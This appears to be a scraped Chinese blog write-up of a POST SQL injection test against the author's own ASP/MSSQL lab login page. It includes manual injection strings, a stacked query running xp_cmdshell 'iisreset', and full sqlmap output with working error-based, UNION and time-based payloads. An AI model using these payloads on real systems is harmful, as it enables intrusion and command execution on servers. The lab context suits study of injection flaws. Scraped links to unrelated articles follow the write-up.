1. 程式人生 > >一次簡單的POST注入測試

一次簡單的POST注入測試

作者:Beginne([email protected]) & Dis9Team

在論壇看到了炊少的 記錄 Mssql注入點構造 一文 ,裡面介紹了構造MSSQL + ASP 的GET注入和POST注入的兩種方式,今天沒事幹,所以玩了一下子,把記錄貼了出來
關於構造自己看上面的原文吧,首先說這個注入是一定存在的
抓包分析

觀察提交頁面原始碼,看看是什麼方式提交

  1. <formname="frmLogin"action="login.asp"method="post">
  2. Username: <inputtype="text"name="userName">
  3. Password: <inputtype="text"name="password">
  4. <inputtype="submit">
  5. </form>

很明顯是post方式,我們得抓到提交的POST資料,用到了firefox的外掛,如下圖:

手工檢測

有了資料包就好搞了,下面我們手工檢測一下
繼續提交注入語句:POST注入測試

手工檢測

有了資料包就好搞了,下面我們手工檢測一下
繼續提交注入語句:

---------------------------------
帳號:' having 1=1 ---
密碼任意
---------------------------------

返回:Logged In
提交注入語句:

---------------------------------
帳號:' having 1=2 ---
密碼任意
---------------------------------

返回
Bad Credentials
說明存在注入
我們提交:
帳號

'; exec master..xp_cmdshell 'iisreset'; --
密碼任意

返回:
Microsoft OLE DB Provider for SQL Server 錯誤 '80004005'

[DBNETLIB][ConnectionOpen (Connect()).]SQL Server 不存在或拒絕訪問。

/login.asp,行 14

POST注入測試

其實是執行

  1. select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''

自動化注入

下面我們直接用sqlmap進行注入

  1. [email protected]:~# sqlmap -u "http://5.5.5.134/login.asp" --data "userName=123&password=123
  2.     sqlmap/1.0-dev (r4911) - automatic SQL injection and database takeover tool 
  3. http://www.sqlmap.org 
  4. [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program 
  5. [*] starting at 21:13:27 
  6. [21:13:27] [INFO] using '/pen/sqlmap-dev/output/5.5.5.134/session' as session file 
  7. [21:13:27] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from session file 
  8. [21:13:27] [INFO] testing connection to the target url 
  9. [21:13:27] [INFO] heuristics detected web page charset 'ascii' 
  10. sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
  11. --- 
  12. Place: POST 
  13. Parameter: password 
  14.     Type: error-based 
  15.     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause 
  16.     Payload: userName=admin&password=admin' AND 8376=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (8376=8376) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'YvOd'='YvOd 
  17.     Type: UNION query 
  18.     Title: Generic UNION query (NULL) - 1 column 
  19.     Payload: userName=admin&password=-1537' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(117)+CHAR(84)+CHAR(86)+CHAR(119)+CHAR(105)+CHAR(109)+CHAR(100)+CHAR(101)+CHAR(122)+CHAR(114)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)--  AND 'WzKD'='WzKD 
  20.     Type: stacked queries 
  21.     Title: Microsoft SQL Server/Sybase stacked queries 
  22.     Payload: userName=admin&password=admin'; WAITFOR DELAY '0:0:5';-- AND 'LmZG'='LmZG 
  23.     Type: AND/OR time-based blind 
  24.     Title: Microsoft SQL Server/Sybase time-based blind 
  25.     Payload: userName=admin&password=admin' WAITFOR DELAY '0:0:5'-- AND 'ugPK'='ugPK 
  26. Place: POST 
  27. Parameter: userName 
  28.     Type: error-based 
  29.     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause 
  30.     Payload: userName=admin' AND 1780=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (1780=1780) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'tmdk'='tmdk&password=admin
  31.     Type: UNION query 
  32.     Title: Generic UNION query (NULL) - 1 column 
  33.     Payload: userName=-1984' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(107)+CHAR(121)+CHAR(122)+CHAR(100)+CHAR(68)+CHAR(71)+CHAR(84)+CHAR(87)+CHAR(98)+CHAR(105)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)--  AND 'CTkR'='CTkR&password=admin
  34.     Type: stacked queries 
  35.     Title: Microsoft SQL Server/Sybase stacked queries 
  36.     Payload: userName=admin'; WAITFOR DELAY '0:0:5';-- AND 'Nbcb'='Nbcb&password=admin
  37.     Type: AND/OR time-based blind 
  38.     Title: Microsoft SQL Server/Sybase time-based blind 
  39.     Payload: userName=admin' WAITFOR DELAY '0:0:5'-- AND 'EBhZ'='EBhZ&password=admin
  40. --- 
  41. there were multiple injection points, please select the one to use for following injections: 
  42. [0] place: POST, parameter: userName, type: Single quoted string (default) 
  43. [1] place: POST, parameter: password, type: Single quoted string 
  44. [q] Quit 
  45. >

這裡提示選擇用username 和PASSWORD表單提交注入語句 隨便都性
我選擇0,用username提交注入語句 得到的結果:

  1. > 0 
  2. [21:14:33] [INFO] the back-end DBMS is Microsoft SQL Server 
  3. web server operating system: Windows XP 
  4. web application technology: ASP, Microsoft IIS 5.1 
  5. back-end DBMS: Microsoft SQL Server 2005 
  6. [21:14:33] [INFO] Fetched data logged to text files under '/pen/sqlmap-dev/output/5.5.5.134' 
  7. [*] shutting down at 21:14:33 

目標資料庫版本出來了

相關推薦

JMeter簡單的介面測試

  本次介面測試:根據ws查詢所有商品的具體的資訊.檢查商品是否返回成功.   1.  準備測試資料   查詢資料庫中產品表已上架商品的編號 select ID from ent_product where is_up=1 and state='0

簡單POST注入測試

作者:Beginne([email protected]) & Dis9Team 在論壇看到了炊少的 記錄 Mssql注入點構造 一文 ,裡面介紹了構造MSSQL + ASP 的GET注入和POST注入的兩種方式,今天沒事幹,所以玩了一下子,把記錄貼了

簡單的SQL注入

參考:http://103.238.227.13:10083/ bugku 可以看到編碼是gb2312 測試注入點 id=1和id=1‘ 都沒錯 應該是寬位元組注入,在試試 id=%df’ 報錯 接著來 輸入欄位id=%df’ union se

簡單的SQL手工注入

1. 首先要了解SQL注入的原理:   SQL Injection:就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。   具體來說,它是利用現有應用程式,將(惡意的)SQL命令注入到後臺資料庫引擎執行的能力,它可以通過在W

簡單的xss漏洞分析

一個 自己 png 基本上 轉義 分享 對話框 class mage 起因,經過掃描,發現了一個反射型xss的漏洞: 那麽,我想,既然存在xss漏洞。如果沒有防火墻肯定是直接就利用了,直接插入<img src=x onerror=alert(0)>: 可以看

簡單的記錄簡單的優化

原因 循環 返回 嘗試 場景 業務場景 pre 這才 查看 #大致的業務場景 從一個報警表中查詢數據,報警表中有很多其他表的外鍵,比如報警的設備信息信息,報警的組織信息,報警的原件信息等等,也就是說查詢報警信息的時候可以查出來很多相關的信息,需求是參數傳一個組織id,要求查

接口壓力測試與性能調優

數據 java線程 color 可能 stack sta 服務 調整 標記 〇、經驗總結 1.如果總的CPU占用率偏高,且基本都被業務線程占用時,CPU占用率過高的原因跟JVM參數大小沒有直接關系,而跟具體的業務邏輯有關。2.當設置JVM堆內存偏小時,GC頻繁會導致業務線程

Spring Cloud壓力測試

prope erro 整體 not 能夠 nbsp 隔離 緩存 大量 前言 公司打算舉辦一場活動,現場參與活動人數比較多。針對於可能訪問比較密集的接口進行壓力測試。使用jmeter進行測試,請求並發稍微多些,系統就會掛起。   針對壓力測試出現的問題,因為並發

python學習:簡單的購物車程序實例

isdigit python學習 python form compute 啟動 index computer nbsp 需求: 1、啟動程序後,讓用戶輸入余額,然後打印商品列表 2、允許用戶根據商品編號購買商品 3、用戶選擇商品後,檢查余額是否足夠,足夠加入購物車直接扣款,

zabbix記簡單的部署包方式安裝

報錯 article 上海 使用 shang http 配置文件 火墻 安裝mysql zabbix記一次簡單的部署包方式安裝一次過 記一次部署包方式安裝一次過 環境centos7 zabbix 3.2.11 準備工作 關閉防火墻 systemctl stop fire

簡單的破解程式(逆向)

已投稿合天 載入以後然後隨便輸入一個密碼然後在程式中搜索報錯資訊。 例如如下搜尋的:   然後雙擊進入。 然後發現JE將其修改為JEN(JE是==,而JEN是!=,如此便打破了原有的邏輯) 右鍵編輯->二進位制編輯 將74改為75(這裡所說的74、75就是JE

簡單的逆向

crackme  (2018-02-26 01:13:13) 轉載▼       隨便輸個key 錯誤 -----------------------------

template,泛型實現閹割版的優先佇列(簡單的嘗試)

水完棧和佇列之後,感覺常用的優先佇列也不錯,內部的排序是堆排序,感覺也不是很難,就直接寫上了,但是實現的時候出現了一些問題,幸好有學長在旁邊,幫助我解決了問題,在此感謝LYG學長; 對於排序,仍然自定義型別,然後對於優先順序,進行過載,寫完這個之後感覺對泛型的運用瞭解了一些,對堆的感覺也更強了點

簡單的日誌分析

  題目檔案:https://files.cnblogs.com/files/nul1/access.log.tar 直接搜尋flag發現是一題關於二分法注入。 頁面為200的位元組大小為1765,所以可以通過讀取每行判斷是否有1765以及有沒有flag的關鍵字樣,進而提取值。 指令碼如

簡單爬蟲(豆瓣/dytt)

  磕磕絆絆學python一個月,這次到正則表示式終於能寫點有趣的東西,在此作個記錄:   —————————————————————————————————————————————————   1.爬取豆瓣電影榜前250名單   執行環境: pycha

滲透測試的8個步驟 展現完整的滲透測試過程及思路

         滲透測試這個事情不是隨便拿個工具就可以做了, 要了解業務還需要給出解決方案 。之前安全加介紹了金融行業 實戰微信銀行滲透測試, 運營商 滲透測試實戰 ,今天讓我們來說說 滲透測試&n

簡單的程式碼審計

這段時間在想著做個高校的會員管理系統,所以在chrome上裝了個掘金外掛,今天發現日推推了個類似的PHP寫的小程式 本著能省就省,有自行車還造什麼輪子的原則 於是乎 git clone https://github.com/chaodada/member.git 經過簡單的部署後算是能打開了

Grpc介面壓力測試&效能調優

〇、經驗總結: 如果在壓測過程中,壓力始終上不去,可以考慮是施壓機器併發上不去,或者被壓機器請求處理不過來。 施壓上不去或者被壓機器請求處理不過來,是因為機器CPU瓶頸?記憶體瓶頸?埠數量瓶頸?逐步排查定位。 類似於Grpc這類需要建立rpc連線的請求,可擴充套

從瀏覽器環境到JavaScript執行流程的簡單梳理

參考文章 www.ruanyifeng.com/blog/2014/1… www.zhihu.com/question/64… www.alloyteam.com/2016/05/jav… nodejs.org/zh-cn/docs/… juejin.im/post/59e85e… juejin.

簡單實現登錄多系統的需求小程序

周報 crm ctdb title dbi 技術 don 權限 性問題 【環境介紹】 系統環境:Linux + shell 【背景描述】 需求:由於數據庫維護較多同時涉及較多的系統類型,對於不熟悉系統的同事來說,及時登錄一些數據庫顯然是需要時間,登錄雖然簡單,先查